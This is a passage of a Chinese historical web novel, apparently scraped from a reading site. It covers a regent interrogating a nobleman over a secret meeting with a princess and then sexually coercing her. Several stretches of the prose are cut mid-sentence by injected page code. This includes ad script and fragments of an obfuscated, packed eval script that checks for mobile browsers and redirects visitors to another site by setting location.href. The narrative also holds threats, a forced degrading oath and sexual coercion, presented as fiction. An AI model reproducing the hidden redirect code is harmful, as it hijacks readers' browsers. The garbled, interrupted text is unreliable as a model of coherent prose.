“他一个人去了?”王小桃才问着,却看到地上有人走过的印迹,这边地上是落叶,那落叶上有泥,是才有人踏过去,而且她隐隐听到有溪流声,料想前面一点有河流,便很有兴致去看看。 “他在前面?”说着王小桃就往前走去。 吴庚立刻追上去拦住她:“县君,公子他……” “他怎么了?”王小桃此时也看出吴庚脸上的着急和紧张,想了想,突然道:“他不会在这里和什么姑娘幽会吧?” 说着再不管三七二十一,立刻就往前冲去。 她不过是开个玩笑,吴庚却更紧张了,立刻就在后面追,他发现王小桃一个小姑娘,动作竟很快,而且他也不敢抓他,也不敢拦她,一时间急得不行。 好在前面没路了,王小桃失了方向,吴庚才暗暗松一口气,就见王小桃转了一会儿,又沿着树叶被踩过的印迹往前走,吴庚也不知道主子到底在哪里,是不是马上就被找到了,便连忙道:“县君,公子他……他去方便了,若被县君撞见,那实在是……” 王小桃脸露羞涩,终于停了下来。 这时吴庚朝里面喊:“公子,你好了没有?县君来找你来了——” 过了好一会儿,宋之洵从林子深处出来,面色如以往一样平静,但又隐隐有一丝厌烦,朝王小桃道:“县君为何来了?” 吴庚抢着回答:“县君说有好消息告诉公子,听闻公子在山上,便找到这里来了,可公子说去方便,没回来,小的没办法才催促了公子。” 宋之洵正色问:“县君有什么消息?” 王小桃当然不好意思揪着方便的事不放,为缓解尴尬,马上道:“宋夫人到京城了,我和表叔说了让公子回城与母亲相聚两日,表叔同意了!” 宋夫人即是宋之洵的亲生母亲。 “是吗?多谢县君。”宋之洵道。 王小桃有些羞涩:“都是应该的……” 宋之洵不想再多说,接他母亲来,是为他与王小桃婚礼,但他既不想娶王小桃,也不想接母亲来,只是唯恐高盛不高兴而已。 料想母亲见他只能投身国贼、娶这样一个粗俗的乡野村姑,心中只有悲切,又哪来喜悦? 他道:“好了,我送县君下山吧?” 王小桃道:“我听见前边有溪流声,是不是有水?我想去看看。” 宋之洵道:“只是条很浅的小溪,没什么好看的,且山路难行,上面又有野兽,为县君安危,还是尽早下山为好。” “可是……” “县君请。”宋之洵伸手让她先行。 王小桃无奈随他下山去。 …… 司妤离开柳潭,与候在外边的如缨会合。 如缨替她整了发髻和衣衫,低声问:“公主,怎样了?奴婢刚才听见了吴庚的声音,好像提到县君?” “大概是王小桃来找他了。”司妤一边说着,一边往行宫方向去。 “那公主……”如缨要问,又一想,此番见面实在没多长时间,大约是没成。 司妤看看如缨,摇摇头。 宋之洵为人的确堪称君子,奈何自己存心引诱,他被撩拨,正欲行事,王小桃却来了。 也不知她来做什么,又不知她是否会有所怀疑。 料想……她只是个乡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 野姑娘,才到京城,大概不会想那么多? 但宋之洵还未下决心,高盛迁都在即,她还要再寻机将此事办成吗? 一时间司妤有些心忧烦躁,于是回宫后越发着急起来,不顾天色将暗,就召人来练舞。 …… 这一日,因下山后天色已晚,王小桃在军营中睡了一夜。 也不知是军营床铺不舒服,还是心里有事,她半宿都没睡着。 第二日回城,却也没与宋之洵说几句话,宋之洵一早练兵去了,她只远远看他一眼,朝他挥了挥手便没再打扰他,自己回来了。 一路上,王小桃左思右想,待到城中,她没去太尉府,却去了卢慈府中。 卢慈和高盛是从小一起玩大的,也是高盛最信任的人,王小桃对他也熟悉,以前在凉州就见过。 到卢慈府上等了一会儿,卢慈回来,见着王小桃,吃惊不已,笑道:“小县君,你怎么来啦?正好有人送了我一篮荔枝,这可是个稀罕东西,你估计都没见过,我让人端来给你尝尝。” “唉,就那个一天都不能放,一放就坏的东西嘛,我在我叔家吃过了。”王小桃拦住他:“卢叔,我有事问你,你不许说谎骗我。” 卢慈笑:“我什么时候骗过你?” 王小桃问:“我听说宋之洵原本是先帝钦定的驸马,是这样吗?” 卢慈面不改色、斩钉截铁:“没这回事,胡说八道!” “真的?” 卢慈认真道:“当然是真的,听人放屁你!” “还说不骗我,我都确定了,就有这回事,后来是宋家被贬官了,这事就没办下去。”王小桃辩驳道。 卢慈:“知道你还问,对呀,只是提了提,没下旨,没订婚,算什么驸马呢?你才是和宋之洵真正订婚呢,想那些做什么?” 王小桃闷闷的,不说话。 卢慈问她:“怎么了?这有关系吗?” 王小桃烦恼地长吸一口气,看看他,问:“卢叔,太尉的官是不是很大?郎中令的官是不是很大?” 郎中令就是卢慈现在的官,卢慈笑道:“那当然,现在就没有比你叔还大的官。” “那宋公子呢?”王小桃马上问,“还有宋公子他爹,听说他家叔叔、哥哥,都是做官的,他们祖上出过很多大官,叫什么……名门望族。”王小桃问。 卢慈不在意道:“那算个鸟……”说一半,看看她,改口道:“那不算什么,现在和以前不同了,现在就看谁手上兵多,能打,而现在就咱们手上兵多,都是咱西凉猛士,一个能打十个,那徐家宋家什么的,都不算什么。” “我记得在老家时,咱们镇上首富要给他家傻儿子娶媳妇,找到张家,就那个他儿子和人打架死了的,卢叔你认不认识,他家闺女不是特别好看吗,但张家就同意了,他们没得选。 “所以,如果我叔现在是天下最大的官,宋公子家里不算什么,我叔说要和他结亲,他敢不同意吗?” 王小桃看着卢慈,卢慈被问住了。 半晌他问:“这重要吗?” “当然重要。” 卢慈肯定道:“我觉得不重要,而且你们都快拜堂了,想这些做什么?到时候入了洞房,生几个娃娃,过日子就行了。” 王小桃觉得和他说不通,不想再说了,于是站起身来:“行了,我走了。” “这就走了吗?我说的话你听进去没有?少想这些,多看点嫁妆什么的,现在城外在打仗,我和你叔都没时间管你,你要有哪里不满意的,就和我们说,要添什么东西也说。” 王小桃已经走了。 19.第 19 章 回太尉府没多久,太阳就偏西了,王小桃听说高盛回来,就去找他。 高盛自从忙战事,又筹备迁都,便对王小桃关心甚少,此时见她主动找来,连忙推了幕僚的求见,和她道:“怎么了?你昨日去见了宋夫人?她对你如何?” 王小桃回答:“她对我当然和气,不和气的话,万一表叔不高兴呢?” 高盛笑问:“你这是什么话?” 王小桃静静看着他:“表叔,我了很久,我要退婚。” 高盛笑不出来了,意外问她:“为什么?” 王小桃却十分为难,支吾半天,就道:“我觉得自己其实配不上宋公子,他答应娶我不一定是看中我,而是怕表叔,我不想这样,所以我要退婚。” “你错了,他没有被逼迫,以他的家世,要不想结亲,完全能拒绝。”高盛道。 王小桃却仍是心意坚定:“可如果他只是想讨好表叔呢?总之我知道我出身很差,长得一般,又没读过书,那些绫罗绸缎摆在我面前我都不知道怎么穿,宋公子怎么会看得上我?之前就是我太傻了,癞□□想吃天鹅肉,与其强行和他拜堂,惹他不喜欢,还不如放他自由。” 高盛脸色不豫,看着她问:“你昨日去找他,他说了什么?” 王小桃已经看出表叔不高兴,连忙回答:“他没说什么,是我自己觉得的。” “你要不说,我就把他叫来让他亲自回答了。”高盛道。 看他神色严厉,王小桃立刻道:“表叔你不要,我其实就是……我知道了他以前是差点要做驸马的,而且是长公主的驸马,表叔,你知道长公主是什么身份什么模样,我拿什么和人家比?有那样的未婚妻,他能看上我吗?傻子也知道不会了。” “所以,他昨日到底和你说了什么?”高盛丝毫不信她的话,“他差点做驸马的事,你应该不会今天才知道,你来京城这么久,大概早就听说了,但你没有说什么,因为这是许多年前的旧事,他们的婚约没作数,也不是因为你。但你到了今天,一定要退婚,除了昨日去见他受冷遇,再没有别的可能。” “表叔,我……”王小桃无可奈何,实在编不出别的理由,只能将昨日上山找宋之洵的事说了出来。 “当时我就觉得很奇怪,他和吴庚都是男人,就算要方便,何必跑那么远,连人影都不见一个,而且我隐约在他身上闻到一些香味,那香味我闻到过,很淡,和李嬷嬷带我买的那些胭脂香料都不同,那就不是香料的味道,好像花香,我之前去宫里见长公主,就在她身上闻到过。 “而且他衣襟和脖颈处,还有一点红,那红就很像是口脂的颜色,我觉得他当时一定和一个女人在一起,而那个女人就是长公主。” 各方面都能印证,宋之洵是军中主将,他如果想找个女人在身边,没人会说什么,能让他偷偷摸摸、又在附近的,只有一个人,那就是长公主。 高盛沉默不语。 王小桃继续道:“还有上次进宫,我其实不是掉湖里的,是有人推我。” “什么?”高盛一惊,立刻问:“是谁?” 王小桃再次迟疑,随后才小声道:“我想,大概是长公主。” “长公主?”高盛有些意外,在他印象里,司妤似乎不是那种人,但仔细想来,他除了对她身体了解很多,对她心里在想什么还真不知道。 他问:“你当时为何没说?” 王小桃解释:“那可是长公主,我们家都没有当官的,京城里的人看不起我们凉州人,表叔的功名都是靠打仗打出来的,我们在京城一个靠山都没有,我不想给表叔惹麻烦。而且我当时也不确定是谁,更加没想到是长公主,虽然她对我冷淡,但我觉得她是尊贵的公主,不至于和我一般见识。 “直到后来听说宋公子差点做驸马,加上昨天的事,我觉得长公主一定是讨厌我的,宋公子也是讨厌我的,其实他们才是一对有情人,我不想拆散别人,表叔就把这婚事退了吧。” 高盛沉默,王小桃见他这样,觉得内心不安,催道:“表叔,我是说真的,我们退婚吧。” 高盛沉声道:“退不退婚再说,但这事我会去弄清楚,待我查明详情再说。” “这能怎么查?”王小桃道。 这种事,不就只有长公主和宋之洵自己才知道,总不能直接去问他们吧。 “这你就不用管了。”高盛回答。 王小桃不放心:“我怎么能不管呢,表叔,我没有一定要嫁宋公子,我就想表叔好好的,我们都好好的,你不要去得罪长公主,她可是皇上的亲姐姐。” 高盛不屑地笑了笑,伸手怜爱地抚着她头道:“想什么呢,你表叔又不是第一天当官,我知道的,没什么大事,我和长公主熟着呢,这事待我商量商量再说。” “真的?”王小桃总觉得不是这样,但表叔身上有一种威严和稳重,让她很难去反驳,完全张不开口说反对的话。 “自然是真的。”高盛肯定道,“查这事也就这两天,你安心等着就好。”说完他就走了。 王小桃追上去,一个人在房门口站了很久,心里不安,又不知如何是好。 自然,也有一点难过。 一开始她就知道自己喜欢宋公子是妄想,后来却很快就订下了婚事,她只能猜想,或许宋公子也正好喜欢她。 但现在知道,宋公子本该和长公主是一对。 是别人倒好,是长公主……那样一个仙子一样的人,只能显得她什么也不是,还异想天开。 偏偏除了这些,她还要担心给表叔惹麻烦。 一切都烦恼,一切都无能为力,她不由长长叹一口气。 宋之洵收到了高盛的口信,说宋夫人到了,让他回一趟京城。 这本是正常的事,但意外之处,高盛派了柴建绪亲自来请,就在营外候着,要马上动身。 他只能推说换一件衣服,回了营帐,急召自己身边参军余思敬商讨,此去是否有凶险。 余思敬问:“主上为何觉得有凶险?” 宋之洵怔住,他突然意识到,是因为公主。 那日在柳潭旁,若无王小桃突然到来,他与公主已成好事,后来虽未成,但他心虚了,他怕王小桃看出什么,怕高盛知道,所以到此时才会心慌,如同惊弓之鸟。 宋之洵没说自己与公主的事,只是说:“若只是让我回去见母亲,为何要派柴建绪来?且要即刻动身。” “如今两军对峙于沙河口,听闻为防安朝烈秘密派人进京联系朝臣,太尉已下令严查城门出入人口,或许太尉是怕有人私下策反主上?”余思敬说。 宋之洵思忖片刻:“此话有理。” 或许真是他心虚才多想了,那王小桃只不过一介村女,应该没发现才是。 “既如此,那我便随柴进绪去。” “主上身边是否要多带些人?”余思敬问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13878933|145019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋之洵摇头:“既然去了,高盛想做什么,多带人也没用,就带上吴庚吧。” 决定好,宋之洵就带上吴庚,随柴进绪出发了。 到城中,柴进绪却没带宋之洵去宋家,而是和他道:“宋校尉,先去见过太尉吧。” 宋之洵心中犯疑,但自是不能拒绝,随他去往太尉府。 入得太尉府,宋之洵被领往偏厅,吴庚便被留在了外面。 宋之洵一人入内,里面只有高盛,静坐在堂下坐榻边,候着他。 “见过太尉。”宋之洵道。 高盛问:“在莲花岭如何?” 宋之洵回:“军士军纪与战力都大有提升,若太尉得空,可前去阅兵。” “那虞山风景如何?”高盛又问。 宋之洵犹豫一下:“虞山风景确实秀美。” “公主呢?”高盛看着他。 公主?话题为何突然转到公主身上?这意思是,公主如何? 宋之洵心中一怔,背上几乎渗出冷汗。 他勉强假装疑惑,“太尉这是何意?”随后似乎想了起来,很快道:“之前上行宫猎杀野猎,与公主见过一面,随后就连夜下山了,公主似乎一切安好。” “我是问你,公主的滋味的如何。”高盛说着,突然拔下背后武器架上的剑,指向宋之洵。 “宋公子,出身名门,已有婚约,却罔顾人伦淫|奸公主,你说我若直接处置了你,是不是维护了你宋家的清名?” 宋之洵知道,高盛若说杀人,那是说杀就杀,绝不会犹豫,此时此刻,死亡与他就一线之隔。 他不由跪了下去,惶恐道:“没有,我没有——” “那你与公主孤男寡女在荒山野岭做什么?”高盛靠近一步,缓声道:“莫不是密谋杀我?” “没有!”宋之洵知道这条罪比刚才那条更大,立刻道:“绝没有,我是与公主私下见了一面,只因……” 是公主约的他,可他实在做不到,为人臣子、堂堂男子汉,不仅无法救她出泥沼,还毫无担当将责任推给她,便只好道:“臣确实曾思慕公主,但也知实属非分之想,因见公主在山上愁闷,便与公主私下见了一面,我二人只说话片刻,县君便找来,唯恐县君误会,我便马上与公主分离,我所言千真万确,绝无半点虚假!” “是吗?”高盛道:“你二人之事,理应只有天知地知,我也无从证实,要不然,你对天发誓,我便信你。” “好,我可以发誓。”宋之洵正欲发誓,高盛道:“不是用你发誓,是用你母亲发誓。就说,若你和公主有偷奸之事,便要你母亲受万人奸|淫而死,对了,你也是这万人之一。” 宋之洵抬头,看见高盛脸上恶魔似的狞笑。 这一刻,他恨自己手无寸刃,不能削去高盛的头颅。 怎能有这样恶毒、这样龌龊的誓言,他怎能用母亲发誓…… 他读经学长大,忠君之道、孝道便是宋氏门庭立族之本,他怎能发这样的誓…… “发不了?所以,你和公主便是在那山上苟且?”高盛说着,剑已要挨到他脖颈。 宋之洵立刻道:“我发誓……” 他弯下腰,垂下头,双手紧紧抓着砖石地面,一字一句道:“我发誓……若我和公主有苟且,便要我母亲……受万人奸|淫而死,我……也是其一。” 说完,他紧紧闭上眼,觉得自己还不如死了好。 20.第 20 章 高盛未回话,此时柴进绪自外面进来:“太尉。” 随后柴进绪在高盛身旁耳语一句,高盛才看向宋之洵:“好了,你既发誓,我便信你了,你起身吧。”说完,倒亲自去将他扶起来:“公主身份尊贵,小桃也似我亲生女儿,我话里要是有不好听的,你也别在意。” 宋之洵沉默着不出声。 他又道:“宋夫人已在宋府,你自去见她吧,后日归营即可。” “是,属下遵命。”宋之洵回了话,起身退出去,到院外,见到了吴庚。 吴庚满面尘土,衣衫凌乱,散着短发,竟似头上发髻被割去,一见他就跪在了地上。 “公子,我……我对不住公子……” 宋之洵一见就知道他被拉去逼问了,也知道他说八成是将所知道的全说了。 他问:“你如何说的?” 吴庚道:“小的说公子的确与公主私下见过面,小的只是候在一旁,虽不知做了什么,但时间很短,应当只是说了话。他用刀割过来小的也是这样说的。” 因为这是事实。 很明显,柴进绪最后削的是吴庚的头发,而不是脑袋。但头发被削成这样,也是莫大的耻辱。 吴庚哭道:“对不起公子,是小的守不住话……” 的确守不住,但宋之洵却能理解,因为对死亡的恐惧。 此刻他才明白,真正视死如归的大圣人,之所以为圣人、英杰,是因为太难得。 大部分人,譬如他,譬如吴庚,都是平常人,他们怕死,他们想偷生,他自己连母亲都能侮辱,又何必苛责吴庚,要求他一个仆人用生命来换忠诚? 他喃喃道:“好了,我知道了,起身吧。” 说完,一步一步,往太尉府外走去。 回到宋家,见过多时不见的母亲,宋之洵便找借口回到了自己房中。 下人端来水给他清洗,他到铜盆前,看着水中自己的面庞,竟不忍直视,痛不欲生。 出身在宋家,以最著名的经学大师为老师,他受着多少夸赞与吹捧长大?他们说他如松如玉,说他公子世无双,可到现在,他活成这了这样。 为人臣子,他投身奸佞,是不忠;仗着家世与皮囊得女子欢喜,意图攀附龙门,是不义;为偷生,以母亲来发誓,是不孝;天下大乱,只想着苟且偷安,是不仁……这还是他最初想成为的那个人吗? 就此娶了高盛侄女,在高盛脚下苟活一辈子,得一身骂名,这真是他想要的人生吗? 他站起身,一把抽出身上佩刀,看着那刀,他想,本不该是这样的,他立志成为的,绝不是这样的人!与其这样忍辱偷生,不如杀了高盛,连公主一个弱女子都敢,他怎么就不敢? 若成功,那他就辅佐皇上做贤臣,若不成功,那就舍身成仁,名留青史! 他伸出胳膊,在自己胳膊上划了一刀,鲜血很快涌出,沿着胳膊往下流。 这算是他对列祖列宗发出的誓言。 随即他唤来吴庚,和他道:“明日一早,你即刻去一趟虞山行宫,告知公主,高盛已知晓山中之事,但我并未承认有私,若高盛问起,让她将事情推在我身上。以及,她说的对,我准备拼死一搏,让她等我的消息。” “公子……” “快去。”宋之洵下令。 吴庚再无二话,依令出去。 前一刻,禁中来人,称是太尉之令,叫司妤即刻回宫;后一刻,吴庚过来见她,告知她宋之洵的话。 司妤才算明白因由,原来是事情被捅穿了,高盛才速命她回宫。 回宫自然不会有什么好下场,但也不敢对抗,乖乖随车队下山,途中又下起雨,路面湿滑,全是水坑,人深一脚浅一脚,车子颠簸,十分狼狈。 但比这更可怕的是,她不知道高盛要怎么对她。 应该不会杀她吧,她和宋之洵的确没成,若高盛审问了吴庚和宋之洵,便知道没有,宋之洵被放过了,她理当也会被放过…… 他之前说过他不在意她喜欢谁的。 司妤心中忐忑不安。 至于宋之洵说的“拼死一搏”,大约是决定反高盛了?不知他在高盛的逼问中经历了什么,突然就作了决定…… 回到宫中,才准备去长乐宫拜见母后,就有宫人来报,太尉求见。 司妤心中一阵胆寒,说是他求见,谁不知高盛是想来就来,想走就走? 她现在是理应不知高盛质问宋之洵之事的,便自如坐在梳妆台前,假装什么事也没有,理着自己的头发。 高盛进来,立在坐榻边看她。 司妤心中忐忑,瞥他一眼,面露不悦道:“下着雨,路这么难走,非要我回来,人都要颠散架了,晚几日不行么?” “晚几日,等你和宋之洵多温存几回?”他反问。 司妤先是一慌,随后停下理着头发的手,看向他问:“你在说什么?” 高盛一笑,靠近一步:“我说你怎么偏偏要去虞山,还赖在上面不肯下来,每日鬼鬼祟祟,没想到是为了偷情。偷情也就罢了,你竟还想杀小桃!”话音落,他一把抓住她头发。 “啊——”司妤被抓得生疼,吃痛地惊叫一声,不由挤出眼泪来。 高盛狠狠将她头发扯向后方,逼她看向自己,冷声道:“你以为你的命比她尊贵?”他紧盯着她道:“好在她没事,她要有事,你信不信我拿你去喂狗,叫你给她陪葬!” “我没有……”司妤以前是假哭,现在却是真哭,因为是真疼,她一动也不能动,仿佛头皮都要被扯掉。 且他盯着她,目露凶光,让她觉得下一刻他就要拧下自己的脖子。 此时她多恨自己是个女人,比不过他的力气。 她只能一边哭着,一边近乎哀求道:“我真的没有,我为什么要杀她……” “你推她落水,是么?”高盛咬牙问。 司妤这才知是为这事。 她本也怀疑过王小桃不是自己落水,但王小桃没事,这事高盛也没追究,她便没放在心上,如果王小桃真是被人推落水的,那就是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13887498|145019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昌乐。 可她能供出昌乐么? 她知道高盛贪恋她美色,对她多少有些心软和舍不得,可对昌乐呢? 若知道昌乐推王小桃落水,她怕他直接杀了昌乐。 昌乐的位分、名声,都弱于她,高盛杀了昌乐,就像杀一个宫女般不会激起任何水花。 她的亲人已然不多了,昌乐毕竟是她妹妹。 高盛将她的沉默当成了默认。 “想起来了?恨她抢了宋之洵?”高盛凑近她道:“就这点胆量么?要杀你也该杀我,是我替她求亲的。” 说着,他再次将她扯得后仰,司妤几乎能听到自己头发被扯掉的声音。 终于,她还是替昌乐担了这罪名:“我是不小心的……不是故意的,要不然,我就不会让宫女下去救她了。” 高盛脸上神色似有松动,她立刻哭道:“我真不是有意的,我和宋之洵也没什么,是他……是他约见我,说有要事和我说,我……我一时糊涂……” 高盛露出既冷漠又轻蔑的笑,松开她。 司妤撑手在梳妆台上,一边揉着自己后脑,一边哭着望向他。 “他倒是主动说是他约的你,和你没关系,没想到,你供他倒供得快。”高盛道。 司妤也知,对他来说,王小桃落水之事,比她与宋之洵之前的事更重要,他此时放过她,多半是愿意揭过此事了。 她试图拉他胳膊,靠在他怀中:“是我错了,但县君之事,真是无意,太尉若生气,我愿亲自向她道歉;至于宋之洵……他样样也比不上太尉,我对他绝对无意……” 高盛低头看着她不说话。 见他没动静,她小心去解他衣带,没想到下一刻却被他捏住手腕,将她手拿开。 “得了,就你身上那几样,玩太久,腻了。”说着推开她,和她道:“既然公主管不住自己,你身边侍候的人也管不住你,那就换了吧,将他们换到掖庭去。” 司妤一惊,心知大事不好,立刻道:“为什么,不关他们的事,太尉不要……” 高盛已出了宫室大门,朝外道:“将所有人等带走!” 一时间,早已守在外面的禁卫将如缨如绵如织赵良等,只要是看得见的人全部押下。 “公主——”宫人们眼中透着恐惧,无助地看向司妤,司妤到高盛面前,原本在宫人面前她从不显露自己的势弱,只时也只能当着这么多人的面哭求高盛:“我以后再不会了,谁也不见,什么也不做,不关他们的事,求太尉放了他们……” 高盛不为所动,静静看着禁卫将漪兰殿一干人带走,换上新人。 “好好侍候公主。”说完,高盛一眼也没看她,往漪兰殿外而去。 司妤连忙追上:“太尉,我向你保证,向你发誓,绝不再见旁人!” “王小桃的事,其实……其实……” 她不想事情功亏一篑,几乎就想供出昌乐,可话到嘴边又狠不下心,而此时高盛已远去。 她站在宫门边,颓丧地瘫坐在地上。 21.第 21 章 在绝对的实力的面前,任何的谋算、计划、哀求都没有用,他一句话,就能将她身边所有人换走。 这一晚,司妤的心里无比挫败,想将昌乐叫来大骂一顿,但又觉得白费力气;想设法联系上宋之洵,又恐将事情弄得更糟,连累他的行动,最后她什么也没做,就在床上躺了两天。 这吓坏了新过来侍候的宫人,一遍遍求她用饭,最后无奈,向上禀报长公主绝食。 新调来的太监亲自去太尉府禀报的,完了回来替高盛带话,“公主要再不吃,就让人把太后的饭菜也断了,两人好作伴。” 太监说完,连忙跪下道:“是太尉说的,太尉兴许是……担心公主。”说着又哀求:“公主就吃一些吧,公主饿出好歹,奴才们都活不了了……” 司妤看向他,回味着他话里那个“担心”。 高盛担心她吗?她不知道是否有担心,但至少他现在还没想让她死,要不然他不会用母后来逼她吃饭。 她倒不是存心绝食,而是万念俱灰,没胃口,吃不下。 如今得知高盛并不想她死,她在想,他说对她玩腻了,是真的,还是气话? 在经历被他下药、在他面前丑态尽出后,她已经彻底舍弃了自己的尊严,也把自己的美色与身体当成了工具。他如此说,她难受,但那又如何,江山飘零,性命难保,他们都不配难受。 或许她可以再试一次,让他心软不舍,将她身边的人换回来。 她乖乖起身吃饭,但除了吃饭,什么也不做,就坐在窗边发呆。 新来的太监叫徐坦,见她愿意吃饭,松了一口气,下午给她送来几枝紫薇花,说是太后宫中的,特地折来的。 这种事,不可能是高盛吩咐,不是特地用心,不会想到这些。 司妤正眼看向面前的太监,问他:“你从前在哪里当差?” “奴才以前在掖庭做小管事。”徐坦道。 掖庭做的是最脏最累的活,那里的人,就算是管事也是没有油水的,司妤明白,高盛调来的是以前在宫中不得志的宫人,但高盛从不在宫中经营,这些宫人虽是新调来,愿意听他命令,却也不会忠心耿耿对他,在他们眼里,宫中的主子仍是皇室。 司妤问:“你去见太尉,他态度如何?” 徐坦回忆一番:“态度……大约有些生气,说话的语气不太好。”不敢说高盛的不是,他说完又赶紧解释:“奴才觉得,太尉是担心公主,一时情急才语气不好。” “好,我知道了。”司妤让徐坦下去,自己在心里思忖一番。 她认为可以去求高盛,但不能现在去。 他觉得她推王小桃落水,又与宋之洵幽会,所以他动了怒,这时候,他在等她服软。 而她马上服软,他不会当回事,也会得寸进尺,所以她要晾着他,等他自己烦躁又失落时,再去服软,如此他才会接受。 作好决定,她便又等了四五日。 其实她愿意晾他更久,但她又担心如缨几人,一来他们没做过粗活,去了掖庭不一定撑得住;二来他们知道她太多的事,离了她身边,前途渺茫,难免他们会起异心,走漏消息。 所以她在五日后,扮作宫女,离宫去了太尉府。 …… 太尉府上的下人已开始准备嫁衣、金银首饰,要王小桃试妆,王小桃却十分犹豫。 几日前,表叔告诉自己,婚事照旧,宋之洵与长公主什么事也没有,他已查过。 她不信,但宋之洵回了军营,表叔又忙,她很想再找表叔好好说说,可总也不见人,今日下午见表叔回了府上,已是下午,料想表叔不会再出去了,王小桃便决定去找他。 谁知才走到表叔寝房附近,却见到李嬷嬷带着个姑娘往表叔院中去,那姑娘身形十分窈窕,只看个侧影便觉得挪不开眼,又是气度不凡,她吃了一惊,不知这是何人,于是悄悄往前几步,躲在假山后往前看。 后来她发现那女子竟是长公主。 她虽只和长公主见过两面,但那样绝色的天仙,只见一次就能终生难忘,她非常确定那就是长公主。 可问题是,长公主为何穿得这样简单,似乎是宫女的衣服,又是独身一人跟着李嬷嬷呢? 最重要的是,李嬷嬷带她去表叔的房里做什么? 别说现在这太尉府这么大,就算是以前在乡下,一家就那么一两间房,也不会领没出嫁的姑娘去男人房里吧,更何况是公主! 王小桃很奇怪,直到公主进去许久都没想明白,谁知就在她站在假山后百思不得其解时,李嬷嬷的嗓音自背后响起:“县君在这儿做什么?” 王小桃吃了一惊,回头看见李嬷嬷笑咪咪的脸,才发现自己竟已经被发现了。 偷看被抓包,王小桃有些不好意思,但心底的疑惑打败了这种不好意思,她问:“嬷嬷,刚才进去的是长公主吗?为什么她是那样打扮的?为什么她会来我们家?还有为什么你要带她去……我叔叔房里……” 李嬷嬷笑得平静:“这些事老奴也不知,只是听吩咐行事,县君不知,大概是不关县君的事,外面热,县君就回去房里歇着吧,别晒着了。” 但王小桃是来找表叔的,可……现在公主来了,表叔要拜见公主,也没空见她吧? 王小桃只好回去。 但她没回自己院里,就在表叔院子外悄悄候着,站得太久,便寻了个地方坐下,这一坐就坐了半个时辰,才见表叔自前院过来。 他竟让公主在他房里等了他半个时辰! 且表叔进去后,很久都没出来。 王小桃隐隐觉得,自己之前的以为都是错的,京城和她想的不一样。 …… 司妤在房中等了半个时辰,才听见门外的动静。 她当然知道这是高盛故意的,也早有心理准备。 高盛进门,晃悠悠走到她面前,司妤坐在榻上,柔声道:“太尉……” 他看向她:“公主前来,可是有事?” 司妤流泪道:“那些新来的人,笨手笨脚,我一点儿也不喜欢,听说如缨在掖庭病了,还要继续洗衣服……她自小就在我身旁,我担心她,还有母后,我也好久没看到母后和皇上了,我知错了,求求太尉……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13902053|145019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “还真是娇气啊。”高盛哂笑:“那么多人侍候,还要嫌人侍候得不好。” “我……”司妤意识到他有些不高兴,只好继续哭:“我真的知道错了……” 好一会儿她说:“太尉之前说想我画那种画,我现在想画了,可是……有点忘了……” 高盛终于笑了,到她面前,抬起她下巴道:“怎么,不弄你了,你还想念了?” 司妤咬着唇不说话。 “我看公主也生性好淫呢?”他松开她。 司妤自然不能回什么,只是一边委屈地垂泪,一边坐着。 高盛负手在屋里走了几步,坐到了榻边的椅子上,看着榻面小桌上放着的一盘葡萄,和她道:“你把这盘子里的葡萄当着我的面吃下去,要能吃下一半,我就考虑考虑。” 司妤没想到他突然这么好说话,虽有些将信将疑,但吃半盘葡萄并不算什么,她顺从地拿起一颗。 正要剥皮,却听他道:“不是用这儿吃。”他跷起二郎腿,朝她笑道。 要不是他以前的胡作非为,她都不明白他的意思。 但此时她明白了,顿时脸红得要滴出血来,捏着那葡萄,半晌都说不出话来。 “不愿意么,那就算了,我说过了,以前那些,腻了。” 司妤默然放下葡萄,解下衣服。 …… 直到三更,灯影昏昏,半夜狂烈过去,两人躺在床上,他搂着她,语气才算温和一些道:“以后别动小桃,知道了吗?” 司妤轻喘着气,顺从地点头。 他将她脸上的湿发拢向她耳后:“至于宋之洵,月底他就与小桃完婚,你也别再打他的主意,再有下次,我阉了他。” 司妤主动靠入他怀中,抱住他。 她在太尉府留了一夜,直到第二日一早才离去。 关于换回宫人的事两人后面虽没提,但她知道高盛是答应了,至少从他的态度上看,她是“复宠”了。 司妤离去后,高盛从房中出来,到院外,看见了等着外面的小桃。 “怎么了?”他问。 王小桃看着他欲言又止,好不容易才开口:“表叔,我有事想和你谈谈。” “什么事?还是你的婚事?”高盛一副这事没什么好提的样子。 王小桃认真道:“是婚事,也有其他更重要的事。” 高盛笑了笑,“好,去那边亭子里坐着说。” 王小桃看看了前边的亭子,此时周围偶尔有下人经过,便道:“不,还是去书房吧。” 高盛挑眉,温声道:“好,你说哪里就哪里。” 两人到书房,王小桃将门关上,与他一同坐到书桌旁。 